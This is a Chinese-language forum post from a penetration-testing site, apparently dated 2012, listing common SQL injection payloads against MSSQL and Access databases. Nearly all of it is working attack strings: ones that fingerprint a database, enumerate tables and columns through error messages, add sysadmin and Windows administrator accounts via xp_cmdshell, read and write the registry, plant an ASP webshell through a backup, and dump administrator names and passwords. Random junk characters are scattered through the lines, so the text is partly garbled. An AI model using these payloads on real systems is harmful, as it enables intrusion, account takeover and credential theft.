中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入 2 A' J* v* I5 ~. K
;and 1=1
: \4 {  j9 ?/ J;and 1=2
' D/ Y" F* ^$ |
& n; _+ x' C9 C, G( `# J2.初步判断是否是mssql ' E' E% v9 U" d$ {/ Y" ]7 C
;and user>0 + }" x; I3 u8 ~4 @0 F) [5 y" B

" N1 u: b* x% \5 x# x7 U3.判断数据库系统
0 ]1 }' J2 R5 e; Y;and (select count(*) from sysobjects)>0 mssql 5 h5 W% z+ b( f% L* m
;and (select count(*) from msysobjects)>0 access ( t, K3 Q* p1 m9 M- P, R7 N0 o
7 o/ R6 m  h' ?' T
4.注入参数是字符
+ N! U) ~* a( r) F" b  b# |  {  I'and [查询条件] and ''='
( P4 c) u- Y* ^9 c) x7 X5 _. R, P6 v. {
5.搜索时没过滤参数的   B* M, u* t( b) i% z9 @
'and [查询条件] and '%25'=' ' ]2 C% [4 k0 @4 I) z" R
: Q+ Z8 I4 X+ C" D3 d
6.猜数表名
& p7 ?3 Z1 z( R/ S4 P6 l2 E9 E4 A/ w;and (select Count(*) from [表名])>0
" Z& d8 p0 u; f# e: V* m+ N& A* T
! P! }' ]8 A7 Z7.猜字段 2 `# y9 i$ {' V( W2 f; n  `
;and (select Count(字段名) from 表名)>0
' D& C8 `3 Q% M5 J, _( r5 ^
0 S, _9 h3 a( x$ B" z9 u; v6 x8.猜字段中记录长度 9 B4 H# n* V' G. t5 D/ B
;and (select top 1 len(字段名) from 表名)>0
/ Y" H" p: R- b: C% ]& D. P7 A4 v1 M8 f/ d6 E, p. U  M3 a+ U
9.(1)猜字段的ascii值(access)
- T9 K4 B8 W; _;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
/ f: H0 _5 m1 K2 s6 x
$ n. d  H( ]$ l1 E(2)猜字段的ascii值(mssql)
1 m1 }6 N: ^# V  c# n6 k1 r/ I$ w;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 5 H( _/ E9 H; A7 X# `  j

; W5 l1 \% a" ~8 E0 X. K9 a10.测试权限结构(mssql)
9 ~: _3 }+ f& V5 E! m. \;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- , R& M2 y; h7 @3 `# _' b  {
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ! m& u, ]; p# b( j& ~# n. Q" h
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- - i" N! w5 n2 Z' W8 Y
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
) y9 N4 Q- Q5 @+ k;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
; L1 B& [% k) ?0 i  ~( b* |1 y;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& t9 l/ i* n3 u( t;and 1=(select IS_MEMBER('db_owner'));-- / b" f- p8 H) _5 e# x

! i. {7 }: w3 B3 [! ^11.添加mssql和系统的帐户 - [$ c  R4 J3 V+ b' m) Z  Q, q( b
;exec master.dbo.sp_addlogin username;--
, C8 i  s) p# h7 |+ R1 d;exec master.dbo.sp_password null,username,password;--
% Q$ {: j" ?( R5 ]& P6 m;exec master.dbo.sp_addsrvrolemember sysadmin username;--
% ~" k3 [8 Q; z6 y, c;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
. }2 v/ t3 L7 ~7 X, g6 y;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 r% U8 t% \: @1 r
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( w  v* H* f* ^* z6 y9 H! x
; q. p2 w; d4 e* v* c( w
12.(1)遍历目录
$ I- |  O5 U5 f& f1 S! o; X;create table dirs(paths varchar(100), id int) 5 g" @( i6 V  v
;insert dirs exec master.dbo.xp_dirtree 'c:\' / o5 f# T$ k, Q" f- ^
;and (select top 1 paths from dirs)>0
# \1 w1 K8 ]' q2 I/ w' Y0 P;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3 ?/ d  z. X% y0 @% a
6 `5 D' w3 C  M' q1 F; b& ~; k
(2)遍历目录 ; D1 p5 C4 M8 S3 q
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
& I( D  _/ o: H+ F+ J0 I* \! w& Z;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
' H9 m# b  [% X1 \$ H! k, R;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 0 E/ k" N7 ?& _, c- }9 {* W) X1 g$ B
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
8 A; v; [$ x5 T" G;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 J) t5 o& @  [0 Z5 a4 X& |2 t
/ z# G3 a( v& ^2 A
13.mssql中的存储过程 % v/ \" P) ^6 Q
xp_regenumvalues 注册表根键, 子键 " L# J1 W6 g  o9 H! H# C* t
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
- W  n" }# R, q- bxp_regread 根键,子键,键值名 " J# U, s" j- h: j- _" h2 T
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 7 h/ |+ X7 z" ?/ D5 F
xp_regwrite 根键,子键, 值名, 值类型, 值
' z4 h. O  ^, ]- Y# e( Y2 N值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& v( `, _' L# D8 R+ y;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 + Z8 F6 N( _6 D! n7 h
xp_regdeletevalue 根键,子键,值名
3 D, E5 c0 {7 E4 texec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 4 w1 m3 A5 q- l5 T
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
4 W, J9 t9 O& A, E/ W8 d  }# x' l9 ]" |& m* C2 A2 R$ a
14.mssql的backup创建webshell / w! e  x! l7 X' T
use model " K5 w9 u3 \& t3 \: r$ m! e) ^/ g+ L
create table cmd(str image);
/ Q# b! n  ~* L0 \insert into cmd(str) values ('<% Dim oScript %>'); ) m) X- h+ }7 K  N+ l7 ^& k8 _
backup database model to disk='c:\l.asp'; . H# J2 N5 W* X# g+ P
. C) {! H8 E4 A. y( B& d. X
15.mssql内置函数
9 m$ [9 l* ^" Y& @1 j* u* b;and (select @@version)>0 获得Windows的版本号
, P( {  k% e; G;and user_name()='dbo' 判断当前系统的连接用户是不是sa
, \# t9 x# l* Z2 w3 v, t' E& [) g0 U3 p;and (select user_name())>0 爆当前系统的连接用户 3 y: |2 `9 w: P/ ?; e) ~  J
;and (select db_name())>0 得到当前连接的数据库 # ~1 Q0 y' a3 e* b) [7 g0 c

# r% f! T8 f2 s' S4 G9 F8 y. Z; u2 k! J0 Y5 y: s) J

+ S' g/ g. ]1 I2 V4 z' V$ [; n4 zMSSQL手注暴库5 P# }3 y3 M6 a5 O* H4 l0 c+ |9 k- C; {

: j' K* t) k! d8 ]1.暴出当前表名和列名+ K# q( q" R" F# k4 I" w; \8 S
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。0 v  Q: o& c: p) o
5 [) p) T' f0 X8 U/ E, ?6 t
第一.爆出所有数据库名% A! o4 \% ?9 f4 i; V8 H
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。" `8 \4 K2 E" P
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。% |3 y7 ?& X/ y$ c  h( @% }
, i+ f' {. Q; Y) k3 `. L
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
, t3 U2 \9 d% M* J0 K8 T
  a0 t3 ?* P1 d
3 R' g4 Z1 v. ?3 k% E7 O第二.爆出指定库中的所有表名
* M: d# K  A; ~  v( U4 I$ q得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
7 q7 X) }1 B! L$ c/ @( J再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。2 a  C: a8 S9 V0 a
& h3 J+ z/ ~, h1 L) \
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--4 _1 @" h* o/ h  y: F* [" n/ t
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
; ?! R7 s8 ?, t  ?$ s% Mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
2 o- Q1 A$ a6 g
, n, v# M" a6 y+ @4.爆出指定表中的所有列名$ Z# W5 W  a6 o
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) + {6 [& `1 @+ h7 R
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'! |* v5 ^- p! t! b! c5 a
! F% y: f' ]7 p5 e
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名( f2 L! w) d# K. F, \! [0 c
' `3 W: g' ^0 W+ [; R
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- . ?5 d9 T- t3 s+ Z, i$ _
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。( ~  _3 D2 W9 i, ~4 E

$ P5 x) d% N/ a1 V! K/ W9 C* R# q
& G+ O5 b+ Q# @& m+ O) x% Vand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值# I0 Y; t- Q8 K* A  @. K. t& R( I

' ~2 ^0 }& P( J- X/ Y, n' ^and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名+ K, b9 I* I& E
2 y1 A; F3 O" g& ~
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
) g" X/ S& [, F1 i  O* U8 T
$ R3 L; |+ \  O: S. P! J0 E, `0 k2 ]* c0 B& q1 z

$ \9 ?$ ~9 _' u2 i0 P% }5.读取指定表中的数据1 ?5 f& f& Z6 I9 f! l( w

# _8 S; h# ?5 Z! a* U- Q2 Xand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容   D* U; E2 X) v" _
+ v. D  w5 [3 O6 e" b
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
& ]( ~4 L3 g4 {' l( I5 E( |% b6 a
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码0 }8 {+ D' O; f/ f9 C8 Z

9 l2 ^; b" V! t. [' a2 n
2 J5 A7 O/ x- p  Y# S; Band 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)  U- L1 n$ o- C9 N! z
' ~! |% y& ]6 {* ?+ `! I7 ^
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)9 z4 n. V1 R9 b* n; M$ _

3 l1 H8 w* E, u* Y1 G5 ^5 z  m/ f" Sand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--3 q, q( L) u0 Z9 S5 M8 V8 ^& |

% k6 p& @2 t. o知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。0 w' m' g! }& L





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2